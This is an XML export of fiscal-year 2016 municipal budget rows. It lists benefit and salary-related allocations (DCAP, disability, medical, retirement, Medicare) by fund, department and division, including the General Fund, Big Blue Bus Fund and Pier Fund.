<row _id="19545"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>432</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>432</total></row>
<row _id="19546"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1950</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1950</total></row>
<row _id="19547"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>792</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>792</total></row>
<row _id="19548"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5998</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5998</total></row>
<row _id="19549"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>790</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>790</total></row>
<row _id="19550"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5811</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5811</total></row>
<row _id="19551"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7109</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7109</total></row>
<row _id="19552"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>216</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>216</total></row>
<row _id="19553"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1436</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1436</total></row>
<row _id="19554"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>10902</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10902</total></row>
<row _id="19555"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>295443</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>295443</total></row>
<row _id="19556"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>574</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>574</total></row>
<row _id="19557"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>891120</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>891120</total></row>
<row _id="19558"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>652</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7125</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7125</total></row>
<row _id="19559"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>330844</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>330844</total></row>
<row _id="19560"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>35260</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35260</total></row>
<row _id="19561"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>49419</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>49419</total></row>
<row _id="19562"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>31266</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31266</total></row>
<row _id="19563"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>744</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>744</total></row>
<row _id="19564"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4630</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4630</total></row>
<row _id="19565"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1574</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1574</total></row>
<row _id="19566"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object xsi:nil="true" /><object_description>WELLNESS</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19567"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>502</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>502</total></row>
<row _id="19568"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4822</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4822</total></row>
<row _id="19569"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4750</total></row>
<row _id="19570"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1148</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1148</total></row>
<row _id="19571"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>17990</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>17990</total></row>
<row _id="19572"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8048</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8048</total></row>
<row _id="19573"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>144059</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>144059</total></row>
<row _id="19574"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2369</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2369</total></row>
<row _id="19575"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>149329</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>149329</total></row>
<row _id="19576"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19577"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>577850.0</object><object_description>CONTINGENCY</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19578"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ENG</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-242958</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-242958</total></row>
<row _id="19579"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>108242</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>108242</total></row>
<row _id="19580"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9789</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9789</total></row>
<row _id="19581"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>844</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>844</total></row>
<row _id="19582"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13360</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13360</total></row>
<row _id="19583"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>519</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>519</total></row>
<row _id="19584"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9491</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9491</total></row>
<row _id="19585"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>12305</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12305</total></row>
<row _id="19586"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7781</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7781</total></row>
<row _id="19587"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14192</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14192</total></row>
<row _id="19588"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1601</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1601</total></row>
<row _id="19589"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5461</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5461</total></row>
<row _id="19590"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2518</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2518</total></row>
<row _id="19591"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>502</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>502</total></row>
<row _id="19592"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3887</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3887</total></row>
<row _id="19593"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2012</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2012</total></row>
<row _id="19594"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9080</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9080</total></row>
